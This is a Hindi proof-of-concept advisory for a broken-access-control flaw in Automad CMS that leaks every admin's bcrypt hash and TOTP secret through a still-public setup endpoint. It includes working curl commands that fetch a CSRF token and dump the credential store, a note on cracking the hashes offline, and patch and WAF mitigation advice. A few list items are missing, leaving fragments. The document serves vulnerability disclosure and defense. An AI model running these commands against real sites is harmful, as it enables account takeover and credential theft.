
CVE-2026-45332 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Automad CMS में एक टूटा हुआ एक्सेस कंट्रोल जो बिना प्रमाणीकरण के एडमिन bcrypt हैश और TOTP सीक्रेट्स को डंप करने की अनुमति देता है।
CVE-2026-45332 के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट — Automad CMS में एक टूटा हुआ एक्सेस नियंत्रण (Broken Access Control) भेद्यता, जो किसी भी अनप्रमाणित हमलावर को सेटअप एंडपॉइंट के माध्यम से प्रत्येक व्यवस्थापक खाते का bcrypt पासवर्ड हैश और TOTP सीक्रेट डंप करने की अनुमति देती है। यह एंडपॉइंट प्रारंभिक कॉन्फ़िगरेशन के बाद कभी अक्षम नहीं किया जाता।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| उत्पाद | Automad CMS (composer automad/automad) |
| प्रभावित | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| पैच किया गया | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 उच्च (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (संवेदनशील सूचना का अनावरण), CWE-306 (महत्वपूर्ण फ़ंक्शन के लिए प्रमाणीकरण का अभाव) |
| शोधकर्ता | Lorenzo Camilli |
Automad एक फ़ाइल-आधारित PHP CMS है। पहला व्यवस्थापक खाता बनाने के लिए ज़िम्मेदार सेटअप एंडपॉइंट, /_api/user-collection/create-first-user, एक स्थायी रूप से सार्वजनिक API रूट के रूप में पंजीकृत है। प्रारंभिक कॉन्फ़िगरेशन पूरा होने के बाद इसे बंद करने वाला कोई गार्ड मौजूद नहीं है।
एक लाइव, पूर्ण रूप से कॉन्फ़िगर किए गए इंस्टेंस पर, इस एंडपॉइंट पर एक अनप्रमाणित POST पूरे उपयोगकर्ता डेटाबेस को डिस्क से लोड करता है और उसे सीरियलाइज़्ड रूप में JSON प्रतिक्रिया बॉडी में लौटाता है, जिसमें शामिल हैं:
2.0.0-beta.27 में मौजूद)किसी पूर्व खाते, क्रेडेंशियल या विशेष नेटवर्क स्थिति की आवश्यकता नहीं है।
यह रूट automad/src/server/Routes.php में $publicAPIRoutes एरे के अंदर रखा गया है और AM_PAGE_DASHBOARD शर्त के अंतर्गत पंजीकृत है — यह एक कॉन्स्टेंट है जिसका मूल्यांकन स्ट्रिंग '/dashboard' के रूप में होता है और इसलिए यह हमेशा सत्य (truthy) रहता है। यह रूट हर इंस्टॉलेशन पर पंजीकृत रहता है, जिसमें सेटअप पूरा होने के बाद भी शामिल है।
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() में निजी passwordHash और totpSecret फ़ील्ड शामिल हैं, इसलिए वे कॉलर को लौटाए जाने वाले सीरियलाइज़्ड आउटपुट में एम्बेड हो जाते हैं।
पूर्ण तकनीकी विवरण: PoC.md।
एंडपॉइंट के लिए एक मान्य CSRF टोकन और एक Automad सत्र कुकी की आवश्यकता होती है, जो दोनों सार्वजनिक लॉगिन पृष्ठ से स्वतंत्र रूप से प्राप्त किए जा सकते हैं। पुनरुत्पादन:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
प्रतिक्रिया में प्रत्येक पंजीकृत व्यवस्थापक का bcrypt हैश और TOTP सीक्रेट, साथ ही पूर्ण कॉन्फ़िग पथ होता है:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
इसके बाद bcrypt हैश को ऑफ़लाइन क्रैक किया जा सकता है (Hashcat / John)। 2.0.0-beta.27 पर लीक हुआ TOTP सीक्रेट दो-कारक प्रमाणीकरण (2FA) को पूरी तरह बायपास कर देता है।
एक अनप्रमाणित रिमोट हमलावर निम्न कार्य कर सकता है:
2.0.0-beta.27)।Automad 2.0.0-beta.28 या उसके बाद के संस्करण में अपडेट करें, जो प्रारंभिक सेटअप पूरा होने के बाद एंडपॉइंट को प्रतिबंधित कर देता है। अस्थायी शमन के रूप में, वेब सर्वर या WAF पर /_api/user-collection/create-first-user के अनुरोधों को ब्लॉक करें।